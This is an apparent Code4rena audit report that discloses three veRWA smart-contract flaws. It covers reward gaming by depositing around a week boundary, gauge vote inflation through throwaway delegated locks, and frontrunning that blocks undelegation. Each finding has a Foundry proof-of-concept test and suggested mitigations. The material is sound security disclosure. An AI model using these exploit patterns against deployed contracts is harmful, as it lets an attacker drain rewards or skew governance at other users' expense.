veRWA - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L134

Vulnerability details

Impact

In the LendingLedger contract, a user is rewarded with CANTO tokens depending on how long he has his deposit in the market. Rewards are distributed for each week during which the deposit was inside the market. However, the user can cheat this condition because we are rounding down to the start of the week, so the user can deposit at 23:59 at the end of the week and withdraw at 00:00 and still get rewarded as if he had his deposit for the whole week.

Proof of Concept

Test case for the LendingLedger.t.sol

    function setupStateBeforeClaim() internal {
        whiteListMarket();

        vm.prank(goverance);
        ledger.setRewards(0, WEEK*10, amountPerEpoch);

        // deposit into market at 23:59 (week 4)
        vm.warp((WEEK * 5) - 1);

        int256 delta = 1.1 ether;
        vm.prank(lendingMarket);
        ledger.sync_ledger(lender, delta);

        // airdrop ledger enough token balance for user to claim
        payable(ledger).transfer(1000 ether);
        // withdraw at 00:00 (week 5)
        vm.warp(block.timestamp + 1);
        vm.prank(lendingMarket);
        ledger.sync_ledger(lender, delta * (-1));
    }

    function testClaimValidLenderOneEpoch() public {
        setupStateBeforeClaim();

        uint256 balanceBefore = address(lender).balance;
        vm.prank(lender);
        ledger.claim(lendingMarket, 0, type(uint256).max);
        uint256 balanceAfter = address(lender).balance;
        assertTrue(balanceAfter - balanceBefore == 1 ether);

        uint256 claimedEpoch = ledger.userClaimedEpoch(lendingMarket, lender);
        assertTrue(claimedEpoch - WEEK*4 == WEEK);
    }

Tools Used

Foundry

Recommended Mitigation Steps

It's difficult to propose a solution for this exploit without major changes in the contract's architecture. Perhaps we can somehow split the amount based on the time the sync was made inside the week, let's say Alice's last_sync was in the middle of week0, she deposited 1 ether, thus her amount for the current epoch will be 1/2 ether. However there is a caveat, how do we fill the gaps? We can't fill them with 1/2 ether. We can use this struct though,

Amount {
    uint256 actualAmount,
    uint256 fraction
}

so we can use fraction for the current epoch and actualAmount = 1 ether to fill the gaps.

Assessed type

Timing

    function testTimeWeightedClaiming() public {
        whiteListMarket();
        int256 delta = 1.1 ether;

        vm.prank(goverance);
        ledger.setRewards(0, WEEK*10, amountPerEpoch);
        vm.startPrank(lendingMarket);
        // users[2] deposits at beginning of epoch
        vm.warp(WEEK * 4);
        ledger.sync_ledger(users[2], delta);
        // lender deposits at 23:59 (week 4)
        vm.warp((WEEK * 5) - 1);

        ledger.sync_ledger(lender, delta);
        vm.stopPrank();

        // airdrop ledger enough token balance for user to claim
        payable(ledger).transfer(1000 ether);
        // withdraw at 00:00 (week 5)
        vm.warp(WEEK * 5);
        vm.prank(lendingMarket);
        ledger.sync_ledger(lender, delta * (-1));

        uint256 balanceBefore = address(lender).balance;
        vm.prank(lender);
        ledger.claim(lendingMarket, 0, type(uint256).max);
        uint256 balanceAfter = address(lender).balance;
        // Lender should receive rewards for 1 second
        assertEq(balanceAfter - balanceBefore, 1 * 1 ether * 1.1 ether / (1.1 ether * WEEK + 1.1 ether));
        uint256 balanceBefore2 = address(users[2]).balance;
        vm.prank(users[2]);
        ledger.claim(lendingMarket, 0, type(uint256).max);
        uint256 balanceAfter2 = address(users[2]).balance;
        // User2 should receive rewards for 1 week
        assertEq(balanceAfter2 - balanceBefore2, WEEK * 1 ether * 1.1 ether / (1.1 ether * WEEK + 1.1 ether));
    }

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L214-L220 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L107-L108

Vulnerability details

Impact

When a user votes for the gauge weights in the GaugeController we use his current vote balance, this leads to the possibility of vote inflation. The flow of the hack:

• Alice creates multiple 1 wei locks from her different accounts
• then she delegates her votes and vote from this accounts
• this will result in weight inflation for a specific market
• Alice claims her rewards from this market in the same transaction
• then she can proceed to the next one.

This wasn't a problem in the original curve contract because there was no reliable way to increase the vote balance in the same transaction. This was made possible with the introduction of delegation mechanics, in our case delegations can be viewed as a flash loan.

Proof of Concept

Test case for GaugeController.t.sol

    function botVote(address handler, address bot, address target) public {
        vm.prank(handler);
        ve.delegate(bot);
        vm.prank(bot);
        gc.vote_for_gauge_weights(target, 100);
    }

    function testVoteCarousel() public {
        // prepare actors
        address payable mal = payable(makeAddr("Mal"));
        address bot1 = makeAddr("bot1");
        address bot2 = makeAddr("bot2");
        address bot3 = makeAddr("bot3");
        address bot4 = makeAddr("bot4");

        vm.deal(bot1, 1);
        vm.deal(bot2, 1);
        vm.deal(bot3, 1);
        vm.deal(bot4, 1);

        vm.deal(mal, 100 ether);
        vm.deal(address(ledger), 100 ether);
        // warp from 1 to 604800
        vm.warp(block.timestamp + WEEK - 1);
        // config gauges and ledger
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 100);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge2, 100);
        ledger.whiteListLendingMarket(gauge1, true);
        ledger.setRewards(block.timestamp, block.timestamp + WEEK, 1 ether);
        vm.stopPrank();
        // Mal deposits to market
        vm.prank(gauge1);
        ledger.sync_ledger(mal, 1 ether);
        // Lock 1 ether from the main wallet
        vm.prank(mal);
        ve.createLock{value: 1 ether}(1 ether);
        // Lock 1 wei from throwaway wallets
        vm.prank(bot1);
        ve.createLock{value: 1}(1);
        vm.prank(bot2);
        ve.createLock{value: 1}(1);
        vm.prank(bot3);
        ve.createLock{value: 1}(1);
        vm.prank(bot4);
        ve.createLock{value: 1}(1);
        // Normal users vote for markets
        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 100);
        vm.stopPrank();

        vm.startPrank(user2);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge2, 100);
        vm.stopPrank();
        // inflate gauge1 weight
        botVote(mal, bot1, gauge1);
        botVote(mal, bot2, gauge1);
        botVote(mal, bot3, gauge1);
        botVote(mal, bot4, gauge1);
        // wait 2 weeks and claim inflated reward
        uint256 balBefore = mal.balance;
        vm.warp(block.timestamp + (WEEK * 2));
        vm.prank(mal);
        ledger.claim(gauge1, 0, type(uint256).max);
        uint256 balAfter = mal.balance;
        assertEq(balAfter - balBefore, 833333333333332214);
        // inflated relative weight: 833333333333332210
        // if you comment the botVote section, normal weight should be: 500000000000000000
        console.log("GAUGEWEIGHT: ", gc.gauge_relative_weight_write(gauge1, block.timestamp));
    }

Tools Used

Foundry, imported and deployed LendingLedger

Recommended Mitigation Steps

In the similar governance contracts when a user votes for the proposal, the balance of his votes prior to the voting transaction is typically used.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/governance/Governor.sol#L282

in OZ governor for example they use block.number - 1 Perhaps we can implement the same mechanics in the GaugeController

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L214-L220

        VotingEscrow ve = votingEscrow;
-        (
-           ,
-            /*int128 bias*/
-            int128 slope_, /*uint256 ts*/
-
-        ) = ve.getLastUserPoint(msg.sender);
+        int128 slope_ = ve.getUserPointAt(msg.sender, block.number - 1);

getUserPointAt in the VotingEscrow

    function getUserPointAt(address _addr, uint256 _blockNumber)
        external
        view
        returns (int128 slope)
    {
        require(_blockNumber <= block.number, "Only past block number");

        // Get most recent user Point to block
        uint256 userEpoch = _findUserBlockEpoch(_addr, _blockNumber);
        if (userEpoch == 0) {
            return 0;
        }
        Point memory upoint = userPointHistory[_addr][userEpoch];
        return upoint.slope;
    }

Not sure if my implementation is correct though. This should be thoroughly tested.

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L331 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L383 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L384

Vulnerability details

Impact

Users in the VotingEscrow contract can delegate their voting balance to other accounts with a non-zero stake. To undelegate his votes back the user has to satisfy following conditions

• has non-expired lock
• user from whom he undelegates has a shorter lock. This leads to a situation where a user with a delegatee would be unable to undelegate and withdraw his CANTO tokens without increasing his own lock. In the edge case malicious delegatee can prevent delegator from undelegating his votes.

Alice has a lock, she delegates to Bob, later she wants to undelegate her votes, she extends her lock (to satisfy to.end >= from.end). Bob frontruns her transaction and increases his lock first, thus his lock time is greater than Alice's. As a result Alice needs to increase lock again to undelegate and Bob can repeat a frontrun again.

Proof of Concept

test case for VotingEscrow.t.sol

    function testUndelegateFail() public {
        // Lock with a duration 5 year should be created with delegated set to msg.sender
        vm.prank(user1);
        ve.createLock{value: 100 ether}(100 ether);
        assertEq(ve.lockEnd(user1), _floorToWeek(block.timestamp + ve.LOCKTIME()));
        (, , , address delegatee) = ve.locked(user1);
        assertEq(delegatee, user1);

        vm.prank(user2);
        ve.createLock{value: 0.1 ether}(0.1 ether);

        vm.prank(user1);
        ve.delegate(user2);

        vm.warp(block.timestamp + WEEK);
        // frontrun user1 and extend lock
        vm.prank(user2);
        ve.increaseAmount{value: 1}(1);
        // user1 fails to undelegate
        vm.prank(user1);
        vm.expectRevert("Only delegate to longer lock");
        ve.delegate(user1);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Implement a function that will allow delegator to forcefully undelegate his votes if needed.

Assessed type

DoS